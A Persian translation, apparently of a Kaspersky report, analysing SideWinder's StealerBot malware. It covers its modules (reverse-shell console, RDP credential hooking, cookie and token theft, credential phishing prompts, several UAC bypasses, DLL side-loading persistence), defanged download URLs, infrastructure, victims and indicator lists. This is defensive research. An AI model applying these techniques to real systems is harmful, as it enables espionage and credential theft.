این آرشیو برای اجرای فرمانهای دلخواه روی سیستم دستکاریشده کانفیگ میشود. میتوان از آن به عنوان بکآپ غثرفعال، گوش دادن به رابط لوپبک یا بعنوان شل معکوس استفاده کرده که برای دریافت فرمانها به C2 متصل میشود. این آرشیو همچنین میتواند دستورات سفارشی را که قابلیتهای زیر را ارائه میدهند پردازش کنند:
کشتن خود ماژول یا فرآیندهای زاده آن
دانلود فایلهای اضافی برای سیستمهای در معرض خطر
اضافه کردن موارد استثنای ویندوز دیفندر
آلوده کردن سایر کاربران در سیستم محلی آلوده کنید (به امتیازات بالایی نیاز دارد)
دانلود و اجرای برنامههای HTML راه دور
لود ماژولهای دلخواه و گسترش قابلیتهای بدافزار
برخلاف سایر ماژول ها، Live Console مستقیماً با یک C2 که آدرس آن در کد ماژول تعبیه شده است ارتباط برقرار میکند. بهطور پیشفرض، بدافزار یک فرآیند جدید cmd.exe را شروع میکند، دادههای دریافتی از مهاجم را به ورودی استاندارد خود ارسال و خروجی فرآیند یا خط لوله خطا را به مهاجم ارسال میکند.
اگر سیستمعامل آلوده جدید باشد، یعنی نسخهی بیلد ویندوز 10 بزرگتر یا مساوی «17763» باشد، بدافزار یک شبه کنسول برای راهاندازی cmd.exe ایجاد میکند. در غیر این صورت، همان برنامه را با استفاده از کلاس Process مشخص شده در System.Diagnostics راه اندازی میکند. قبل از ارسال دستور به کنسول، بدافزار بررسی میکند که آیا اولین بایت از دادههای دریافتی دارای مقدار خاصی است که نشان دهنده وجود یک دستور سفارشی است یا خیر. در زیر لیستی از این مقادیر (شناسه فرمان) با توضیحاتی در مورد دستوراتی که آنها شناسایی میکنند آورده شده است.
سازه ویندوز
|
آیدی فرمان
|
شرح
|
< 17763
|
3
|
کشتن همه فرآیندههای زادهشده
|
< 17763
|
4
|
کشتن ماژول فعلی. ارسال آیدی پیام 2 به ارکستراتور برای آنلود کردن خود ماژول
|
< 17763
|
16
|
آپلود فایل در سیستم آلوده
|
>= 17763
|
1
|
آلوده کردن کاربری که به طور فعلی لاگین کرده
|
>= 17763
|
2
|
دریافت کاربری که به طور فعلی لاگین کرده
|
>= 17763
|
3
|
دانلود و اجرای ریموت اپ HTML
|
>= 17763
|
4
|
افزودن دایرکتوریها به اکسکلوژنهای AV
|
>= 17763
|
5
|
لود کردن پلاگین
|
اکثر دستورات، خود توضیح هستند. میخواهیم چند کلمه به دستور با شناسه «1» اضافه کنیم، که برای آلوده کردن سایر کاربران در همان سیستم که نمایهشان هنوز «پاک» است استفاده میشود. بدافزار با ایجاد یک کپی از نمونه ها در فهرست کاربر هدف، کاربر را آلوده و یک مقدار رجیستری جدید برای اطمینان از پایداری ایجاد میکند.
این دستور جالب است زیرا در صورت بروز یک خطای خاص، ربات با پیام زیر پاسخ میدهد:
Infected User is already logged in, use install dynx command from stealer bot
for installation
در حال حاضر، معلوم نیست که فرمان dynx چه چیزی را نشان میدهد، اما نام استیلربات در این پیام و نام منبع تعبیه شده در ModuleInstaller، StealerBot_CppInstaller ما را به این نتیجه رساند که مهاجم نام این بدافزار را StealerBot گذاشته است.
سارق دادههای محرمانه RDP
این ماژول متشکل است از اجزای مختلف: آرشیو a .NET، شلکد و آرشیو C++. کارش نظارت پروسههای در حال اجرا و تزریق کد مخرب به mstsc.exe برای سرقت اطلاعات محرمانه RDP است.
Mstsc.exe فرآیند «کارفرمای سرویس پایانه مایکروسافت[3]» است که مشتری RDP پیشفرض در ویندوز است. بدافزار ایجاد یا خاتمه فرآیندهای با نام mstsc.exe را نظارت میکند. هنگامی که یک رویداد ایجاد جدید شناسایی میشود، بدافزار یک لوله جدید با نام ثابت c63hh148d7c9437caa0f5850256ad32c ایجاد و کد مخرب را به حافظه پردازش جدید تزریق میکند. کد تزریقشده شامل بارهای مختلفی است که به عنوان منابع در ماژول تعبیه شده میشود. محمولهها در زمان اجرا با توجه به معماری سیستم انتخاب و قبل از تزریق ادغام می شوند. کد تزریق شده یک کد پوسته است که کتابخانه مخرب دیگری به نام mscorlib را بارگیری میکند، که به C++ نوشته شده است تا اعتبار RDP را با اتصال توابع خاص کتابخانه ویندوز SspiCli.dll به سرقت ببرد. به نظر میرسد کد کتابخانه بر اساس پروژههای منبع باز موجود در گیتهاب است. از بسته Detours مایکروسافت برای افزودن یا حذف قلابها یا هوکها به عملکردهای زیر استفاده میکند:
SspiPrepareForCredRead;
CryptProtectMemory;
این سه تابع به ترتیب برای به دست آوردن نام سرور، رمز عبور و نام کاربری قلاب شده اند. دادههای دزدیده شده با استفاده از لولهای که قبلا ایجاد شده با نام c63hh148d7c9437caa0f5850256ad32c به ماژول اصلی ارسال میشود.
دریافتکننده توکن
این ماژول یک کتابخانه داتنت است که برای سرقت کوکیهای مرورگر گوگل کروم و توکن های احراز هویت مربوط به فیسبوک، لینکدین و سرویسهای گوگل (جیمیل، گوگل درایو و غیره) طراحی شده است. وابستگیهای کد زیادی دارد و با بارگیری کتابخانههای قانونی و امضاشده اضافی که از عملکردهای آن استفاده میکند، شروع میشود. این کتابخانهها به طور پیش فرض در سیستم در معرض خطر وجود ندارند، بنابراین بدافزار باید آنها را رها کرده و بارگذاری کند تا به درستی کار کنند.
آرشیو
|
هش
|
شرح
|
Newtonsoft.Json
|
52a7a3100310400e4655fb6cf204f024
|
فریم ورک محبوب JSON با کارایی بالا برای دات نت
|
System.Data.SQLite
|
fcb2bc2caf7456cd9c2ffab633c1aa0b
|
ارائهدهنده ADO.NET برای SQLite
|
SQLite_Interop_x64.dll
|
1b0114d4720af20f225e2fbd653cd296
|
کتابخانهای برای معماریهای 64 بیتی مورد نیاز System.Data.SQLite برای درست کار کردن
|
SQLite_Interop_x86.dll
|
f72f57aa894f7efbef7574a9e853406d
|
کتابخانهای برای معماریهای 32 بیتی مورد نیاز System.Data.SQLite برای درست کار کردن
|
فیشر اطلاعات محرمانه
این ماژول سعی دارد الطلاعات محرمانه ویندوزیِ کاربر را با نمایش پرامپت فیشینگ که برای فریب او طراحی شده، جمع کند. بدافزار مشابه سارق داده محرمانهی RDP، یک لوله جدید ایجاد میکند (a21hg56ue2c2365cba1g9840256ad31c )و کد پوسته مخرب را به یک فرآیند هدفمند، در این مورد explorer.exe تزریق میکند. کد پوسته یک کتابخانه مخرب به نام credsphisher.dll را که از تابع ویندوز CredUIPromptForWindowsCredentialsW برای نمایش یک درخواست فیشینگ به کاربران فعلی و فریب قربانیان برای وارد کردن اعتبار ویندوز خود استفاده مینماید بارگیری میکند. هنگامی که کاربر اعتبارنامه را وارد میکند، بدافزار از عملکرد LogonUserW برای بررسی درستی نام کاربری و رمز عبور ارائه شده استفاده میکند. اگر کاربر اعتبارنامههای نادرست وارد کند، بدافزار به نمایش درخواست ادامه میدهد تا زمانی که یک رمز عبور معتبر دریافت کند. در نهایت، پس از تأیید اعتبار موفقیت آمیز، بدافزار نام میزبان رایانه، نام کاربری و رمز عبور را در لولهای که قبلاً ایجاد شده است به نام a21hg56ue2c2365cba1g9840256ad31c مینویسد.
UACBypass
این ماژول یک کتابخانه داتنت است که برای دور زدن UAC و اجرای کدهای مخرب با امتیازات بالا طراحی شده است. این کتابخانه میتواند با استفاده از تکنیکهای مختلف بایپس، که با توجه به نسخه ویندوز و راهحل امنیتی نصبشده روی دستگاه آلوده انتخاب شده، به هدف خود دست یابد. این بدافزار منابع مختلفی را در خود جای میدهد که حاوی بارهای مختلف است که در طول اجرای بدافزار استفاده می شود.
قبل از شروع اجرای خود، بدافزار شرایط خاصی را در سیستم بررسی میکند، یعنی اینکه ارتفاع UAC به اعتبار مدیریت نیاز ندارد و اینکه کاربر آلوده به گروه Administrator تعلق دارد. اگر هر دو شرط رعایت شود، بدافزار نسخه ویندوز را بررسی و برخی از مصنوعات را با توجه به مقادیر به دست آمده حذف میکند. هدف اصلی این کامپوننت اجرای منبعی به نام Module است که یک دانلودر با امتیازات بالاست. بدافزار سعی میکند از تکنیکهای مختلف بای پس UAC استفاده کند که با توجه به راهکار امنیتی نصبشده انتخاب میشوند. به طور پیش فرض، سعی میکند از برنامه CMSTP (نصب کننده پروفایل مدیر اتصال ویندوز) سوء استفاده کند. این برنامه قانونی با تکنیکی که در سال 2017 کشف شد مورد سوء استفاده قرار میگیرد، جایی که مهاجم می تواند یک نمایه سفارشی را برای اجرای دستورات دلخواه با امتیاز بالا ارسال کند. تکنیک دور زدن پیشفرض در همه سیستمها بجز سیستمهایی که توسط Kaspersky یا 360 Total Security محافظت میشوند استفاده میشود.
اگر این راهکارهای امنیتی شناسایی شوند، بدافزار سعی میکند از تکنیک بای پس UAC جدیدتری که در سال 2022 کشف شد، استفاده کند که از شی COM "IElevatedFactoryServer" سوء استفاده میکند. در این مورد، بدافزار کد پوسته مخرب را به explorer.exe تزریق میکند. کد پوسته یک کتابخانه مخرب را بارگیری و اجرا میکند که در منبعی به نام COMUacBypass ذخیره شده است. این کتابخانه از شیء COM "IElevatedFactoryServer" برای ثبت یک وظیفه جدید ویندوز با بالاترین امتیازات استفاده نموده و به مهاجم اجازه می دهد تا دستور اجرای بار حذف شده را با امتیازات بالا اجرا کند. در طول تجزیه و تحلیل استاتیک ماژول "UACBypass" ما متوجه وجود کدی شدیم که فراخوانی یا اجرا نشده است.
به طور خاص، ما متوجه روشی به نام KasperskyUACBypass شدیم که تکنیک بای پس دیگری را پیاده سازی میکند که احتمالاً در گذشته زمانی که سیستم توسط نرم افزار ضد بدافزار Kaspersky محافظت میشد، استفاده میشد. این روش تکنیک دور زدن را پیاده سازی میکند که کارش اکسپلویت برنامه قانونی ویندوز slui.exe است.. برای فعال کردن و ثبت سیستم عامل با یک کلید محصول معتبر استفاده می شود، اما مستعد ضعف مدیریت فایل در ربودن است. تکنیک ربودن در سال 2020 توصیف شد و بر اساس اصلاح کلیدهای رجیستری خاص ویندوز است. بر اساس مقادیر ایجاد شده، معتقدیم که مهاجم کد خود را بر اساس اثبات مفهوم موجود در GitHub استوار کرده است.
ماژول همچنین شامل دو منبع است که منحصراً توسط این کد استفاده میشود:
VmComputeAgent
VmComputeAgent_exe
1
2
VmComputeAgent
VmComputeAgent_exe
اولین برنامه یک برنامه بسیار ساده است که با ConfuserEx بسته بندی شده است، که فرآیند جدیدی را آغاز میکند: "%systemroot%\System32\slui.exe" به عنوان مدیر.
دومی یک مانیفست XML است.
دانلودر
این کتابخانه یک دانلودکننده است که در C++ توسعه یافته است و تلاش میکند تا سه پی لود را با استفاده از URLهای مختلف بازیابی کند.
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/bf7dy/111e9a21?name=inpl64
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/0ywcg/4dfc92c?name=stg64
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/3ysvj/955da0ae?name=rflr
متأسفانه، ما نتوانستیم پاسخ معتبری از سرور دریافت کنیم، اما با توجه به متغیر name در داخل URL و منطق اجزای مختلف مشاهده شده در طول بررسی، میتوان نتیجه گرفت که هر مقدار name احتمالاً نشان دهنده هدف واقعی فایل است.
متغیر
|
شرح
|
?name=inpl64
|
ایمپلنت برای معماریهای 64 بیتی
|
?name=stg64
|
مراحل معماریهای 64 بیتی
|
?name=rlfr
|
لودر انعکاسی
|
دادههای دانلودشده در یک پیلود نهایی با ساخت زیر ترکیب میشوند:
stg64+ <size of rlfr+inpl64+8> +rlfr+ <delimiter> +inpl64
در نهایت، بدافزار محموله را در حافظه بارگذاری کرده و آن را اجرا میکند. روش اجرا با توجه به نسخه ویندوز انتخاب می شود. در سیستمهای قبل از ویندوز 10، این بدافزار یک منطقه حافظه با مجوزهای خواندن، نوشتن و اجرا را اختصاص میدهد، پیلود از قبل تولیدشده را در منطقه جدید کپی میکند و مستقیماً اولین آدرس را فراخوانی میکند. در سیستمهای جدیدتر، بدافزار فضای حافظه بزرگتری را اختصاص میدهد و یک کد پوسته کوچک واقع در بخش.data را به بار نهایی اضافه میکند. سپس بدافزار تصویر kernel32 را در حافظه اصلاح و تابع LoadLibraryA را برای هدایت جریان اجرا به پوستهکد کوچک کپیشده در ناحیه اختصاصیافته، قلاب میکند. در نهایت، تابع LoadLibraryA را فراخوان نموده و آرگومان aepic.dllرا ارسال می کند. پوسته کوچک 8 بایت اول آرگومان دریافتی را با رشته ثابت aepic.dl مقایسه میکند و اگر بایت ها مطابقت داشته باشند، به پوسته کد دانلود شده stg64 میپرد. در غیر این صورت، به تابع واقعی LoadLibraryA می پرد.
نصبگرها
در طول بررسی ما دو مؤلفه دیگر پیدا کردیم که نصب کنندههایی هستند برای استقرار StealerBot در سیستمها. ما آنها را در طول زنجیره عفونت مشاهده نکردیم. آنها احتمالاً برای نصب نسخه های جدید بدافزار یا استقرار بدافزار در زمینه های مختلف در یک دستگاه استفاده میشوند. به عنوان مثال، برای آلوده کردن کاربر دیگر.
پیلود نصبگر
اولین مؤلفه یک کتابخانه توسعه یافته در C++ است که به عنوان یک بارگذار عمل میکند. کد بسیار شبیه به مؤلفه Downloader است که در ماژول بای پس UAC مشاهده شده. این کتابخانه حاوی بارهای مختلفی است که در زمان اجرا به یکدیگر متصل شده و به فرآیند spoolsv.exe از راه دور تزریق میشوند. بار تزریق شده به طور انعکاسی کتابخانهای به نام InstallerPayload.dll نوشته شده در C++ را بارگیری میکند تا اجزای اضافی را دانلود و با ایجاد یک سرویس جدید ویندوز، پایداری آنها را حفظ کند. بدافزار به گونه ای پیکربندی شده است که فایل ها را از یک URL از پیش تعریف شده با استفاده از WinHTTP دانلود کند. فایل خاصی که باید دانلود شود با یک متغیر "نام" درخواست میشود که در تمام درخواست های GET گنجانده شده است. هر فایل در یک مکان خاص دانلود میشود:
نام فایل خاص با توجه به نسخه ویندوز تغییر میکند.
اگر سازه ویندوز کمتر از 10240 باشد (ویندوز 10 بیلد 10240)، بدافزار فایل های زیر را نصب میکند:
%systemroot%\srclinks\write.exe
%systemroot%\srclinks\propsys.dll
%systemroot%\srclinks\write.exe.config
%systemroot%\srclinks\vm3dservice.exe
%systemroot%\srclinks\winmm.dll
در غیر این صورت:
%systemroot%\srclinks\fsquirt.exe
%systemroot%\srclinks\devobj.dll
%systemroot%\srclinks\fsquirt.exe.config
%systemroot%\srclinks\vm3dservice.exe
%systemroot%\srclinks\winmm.dll
این بدافزار همچنین یک سرویس جدید ویندوز به نام srclink ایجاد میکند تا اطمینان حاصل کند که فایلهای دانلود شده می توانند به طور خودکار هنگام راه اندازی مجدد سیستم شروع شوند.
این سرویس به گونه ای پیکربندی شده است که به طور خودکار شروع به کار کرده و برنامه زیر را اجرا کند:
C:\WINDOWS\srclinks\vm3dservice.exe
1
C:\WINDOWS\srclinks\vm3dservice.exe
این فایل یک برنامه قانونیست که به صورت دیجیتالی توسط VMware امضا شده و مهاجم برای بارگذاری کتابخانه مخرب winmm.dll از آن استفاده میکند. این بخشی از مکانیزم تداوم ایجادشده توسط مهاجم است. سرویس ویندوزی مخرب تولیدشده از طریق جزء InstallerPayload برای لانچ برنامه دیگر (در صورت کار نکردن سرویس) کانفیگ شده.
InstallerPayload_NET
این یکی دیگر از کتابخانه داتنت است که اقدامات مشابه InstallerPayload را که قبلاً در C++ توسعه یافته بود، انجام میدهد. تفاوت اصلی این است که این بدافزار بیشتر فایلها را به عنوان منبع جاسازی میکند.
این کتابخانه ای است که در C++ توسعه یافته و SyncBotServiceHijack.dll نام دارد که تمام توابع را که معمولاً توسط کتابخانه قانونی winmm.dll واقع در دایرکتوری system32 صادر میشود صادر میکند. همه توابع به تابعی اشاره میکنند که به مدت 10 ثانیه میخوابد و سپس یک خطای سیگنال ایجاد کرده و اجرا را خاتمه میدهد.
زیرساخت
مهاجم دامنههای متعددی را با استفاده از Hostinger، Namecheap و Hosting Concepts به عنوان ارائه دهنده ثبت کرده است. آنها معمولاً بدافزار را برای برقراری ارتباط با FQDN با استفاده از زیر دامنههای خاص با نامهایی که مشروع به نظر میرسند و احتمالاً برای ارتباط با هدف انتخاب شدهاند، پیکربندی میکنند. به عنوان مثال، زیر مجموعه کوچکی از زیر دامنه های مورد استفاده توسط مهاجم است.
nextgen[.]paknavy-govpk[.]net
premier[.]moittpk[.]org
cabinet-division-pk[.]fia-gov[.]com
navy-lk[.]direct888[.]net
srilanka-navy[.]lforvk[.]com
portdjibouti[.]pmd-office[.]org
portdedjibouti[.]سیاست حمل و نقل[.]اطلاعات
mofa-gov-sa[.]direct888[.]net
mod-gov-bd[.]direct888[.]net
mmcert-org-mm[.]donwloaded[.]com
opmcm-gov-np[.]fia-gov[.]net
هر دامنه و زیر دامنه های مربوط به آن با یک آدرس IP اختصاصی حل می شوند. C2 ها بر روی یک VPS که منحصراً توسط مهاجم استفاده می شود، میزبانی می شوند، اما برای مدت بسیار کوتاهی از ارائه دهندگان مختلف اجاره می شوند. مهاجم از ارائهدهندگان خدمات مختلفی استفاده میکند، اما HZ Hosting، BlueVPS و GhostNET را ترجیح میدهد.
قربانیان
SideWinder نهادها را در کشورهای مختلف هدف قرار داده است: بنگلادش، جیبوتی، اردن، مالزی، مالدیو، میانمار، نپال، پاکستان، عربستان سعودی، سریلانکا، ترکیه و امارات متحده عربی. بخشهای هدف شامل نهادهای دولتی و نظامی، لجستیک، زیرساختها و شرکتهای مخابراتی، مؤسسات مالی، دانشگاهها و شرکتهای بازرگانی نفت است. مهاجم همچنین نهادهای دیپلماتیک را در کشورهای زیر هدف قرار داد: افغانستان، فرانسه، چین، هند، اندونزی و مراکش.
نسبتدهی
ما با اطمینان متوسط/بالا این فعالیتها را به گروه APT سایدویندر (SideWinder) نسبت میدهیم. زنجیره عفونت مشاهدهشده در این حملات با آنهایی که در گذشته مشاهده شدند در تطابق است. مشخصاً، تکنیکهای زیر با فعالیت SideWinder تشابه دارند.
- استفاده از تزریق ریموت قالب که برای دانلود فایلهای RTF به نام file.rtf سوءاستفاده میشد و برای اکسپویت CVE-2017-11882 به کار میرفت.
- طرح نامگذاری استفادهشده برای زیردامنههای مخرب که تلاش دارد از دامنههای قانونی که برای تارگتها اهمیت دارند تقلید کند.
- جزء دانلودر .NET و ماژول لودر بکدر با آنهایی که در گذشته شرح داده شدند تشابه دارد.
- نکته آخر که از بقیه شاید اهمیتش حتی بیشتر هم باشد، بیشتر نهادهایی که توسط این گروه هدف قرار گرفته شدند شبیه به آنهایی هستند که در گذشته SideWinder بهشان حمله کرده بود.
IOCs
داکیومنتهای مخرب
6cf6d55a3968e2176db2bba2134bbe94
c87eb71ff038df7b517644fa5c097eac
8202209354ece5c53648c52bdbd064f0
5cc784afb69c153ab325266e8a7afaf4
3a6916192106ae3ac7e55bd357bc5eee
54aadadcf77dec53b2566fe61b034384
8f83d19c2efc062e8983bce83062c9b6
8e8b61e5fb6f6792f2bee0ec947f1989
86eeb037f5669bff655de1e08199a554
1c36177ac4423129e301c5a40247f180
873079cd3e635adb609c38af71bad702
423e150d91edc568546f0d2f064a8bf1
4a5e818178f9b2dc48839a5dbe0e3cc1
RTF
26aa30505d8358ebeb5ee15aecb1cbb0
3233db78e37302b47436b550a21cdaf9
8d7c43913eba26f96cd656966c1e26d5
d0d1fba6bb7be933889ace0d6955a1d7
e706fc65f433e54538a3dbb1c359d75f
LNK
412b6ac53aeadb08449e41dccffb1abe දින සංශෝධන කර ගැනිම .lnk
2f4ba98dcd45e59fca488f436ab13501 Special Envoy Speech at NCA.jpg .lnk
لودر بکدر
propsys.dll
b69867ee5b9581687cef96e873b775ff
c3ce4094b3411060928143f63701aa2e
e1bdfa55227d37a71cdc248dc9512296
ea4b3f023bac3ad1a982cace9a6eafc3
44dbdd87b60c20b22d2a7926ad2d7bea
7e97cbf25eef7fc79828c033049822af
vsstrace.dll
101a63ecdd8c68434c665bf2b1d3ffc7
d885df399fc9f6c80e2df0c290414c2f
92dd91a5e3dfb6260e13c8033b729e03
515d2d6f91ba4b76847301855dfc0e83
3ede84d84c02aa7483eb734776a20dea
2011658436a7b04935c06f59a5db7161
استیلر بات
3a036a1846bfeceb615101b10c7c910e ارکستریتور
47f51c7f31ab4a0d91a0f4c07b2f99d7 کیلاگر
f3058ac120a2ae7807f36899e27784ea گیرنده اسکرینشات
0fbb71525d65f0196a9bfbffea285b18 سارق فایل
1ed7ad166567c46f71dc703e55d31c7a کنسول لایو
2f0e150e3d6dbb1624c727d1a641e754 سارق داده RDP
bf16760ee49742225fdb2a73c1bd83c7 سارق داده RDP- تزریقی
b3650a88a50108873fc45ad3c249671a دریافتکننده توکن
4c40fcb2a12f171533fc070464db96d1 فیشر اطلاعات محرمانه
eef9c0a9e364b4516a83a92592ffc831 UACBypass
SyncBotServiceHijack.dll
1be93704870afd0b22a4475014f199c3
سرقت سرویس
f840c721e533c05d152d2bc7bf1bc165 Manage.exe
Backdoor Loader devobj.dll
5718c0d69939284ce4f6e0ce580958df
دامنهها و آیپیها
126-com[.]live
163inc[.]com
afmat[.]tech
alit[.]live
aliyum[.]tech
aliyumm[.]tech
asyn[.]info
ausibedu[.]org
bol-south[.]org
cnsa-gov[.]org
colot[.]info
comptes[.]tech
condet[.]org
conft[.]live
dafpak[.]org
decoty[.]tech
defenec[.]net
defpak[.]org
detru[.]info
dgps-govpk[.]co
dgps-govpk[.]com
dinfed[.]co
dirctt88[.]co
dirctt88[.]net
direct888[.]net
direct88[.]co
directt888[.]com
donwload-file[.]com
donwloaded[.]com
donwloaded[.]net
dowmload[.]net
downld[.]net
download-file[.]net
downloadabledocx[.]com
dynat[.]tech
dytt88[.]org
e1ix[.]mov
e1x[.]tech
fia-gov[.]com
fia-gov[.]net
gov-govpk[.]info
govpk[.]info
govpk[.]net
grouit[.]tech
gtrec[.]info
healththebest[.]com
jmicc[.]xyz
kernet[.]info
kretic[.]info
lforvk[.]com
mfa-gov[.]info
mfa-gov[.]net
mfa-govt[.]net
mfacom[.]org
mfagov[.]org
mfas[.]pro
mitlec[.]site
mod-gov-pk[.]live
mofa[.]email
mofagovs[.]org
moittpk[.]net
moittpk[.]org
mshealthcheck[.]live
nactagovpk[.]org
navy-mil[.]co
newmofa[.]com
newoutlook[.]live
nopler[.]live
ntcpak[.]live
ntcpak[.]org
ntcpk[.]info
ntcpk[.]net
numpy[.]info
numzy[.]net
nventic[.]info
office-drive[.]live
pafgovt[.]com
paknavy-gov[.]org
paknavy-govpk[.]info
paknavy-govpk[.]net
pdfrdr-update[.]com
pdfrdr-update[.]info
pmd-office[.]com
pmd-office[.]live
pmd-office[.]org
ptcl-net[.]com
scrabt[.]tech
shipping-policy[.]info
sjfu-edu[.]co
support-update[.]info
tazze[.]co
tex-ideas[.]info
tni-mil[.]com
tsinghua-edu[.]tech
tumet[.]info
u1x[.]co
ujsen[.]net
update-govpk[.]co
updtesession[.]online
widge[.]info
[1] Backdoor loader module
[2] Jump if not zero
[3] Microsoft Terminal Service Client
کسپرسکی آنلاین (ایدکو)
کسپرسکی اسم یکی از بزرگترین شرکتهای امنیتی و سازنده آنتی ویروس است که برخی از کاربران اشتباهاً این شرکت و محصولات آنتی ویروس آن را با عناوینی نظیر کسپرسکای،کاسپرسکی، کسپراسکای، کسپراسکای، و یا کاسپراسکای نیز میشناسد. همچنین لازم به ذکر است مدیرعامل این شرکت نیز یوجین کسپرسکی نام دارد.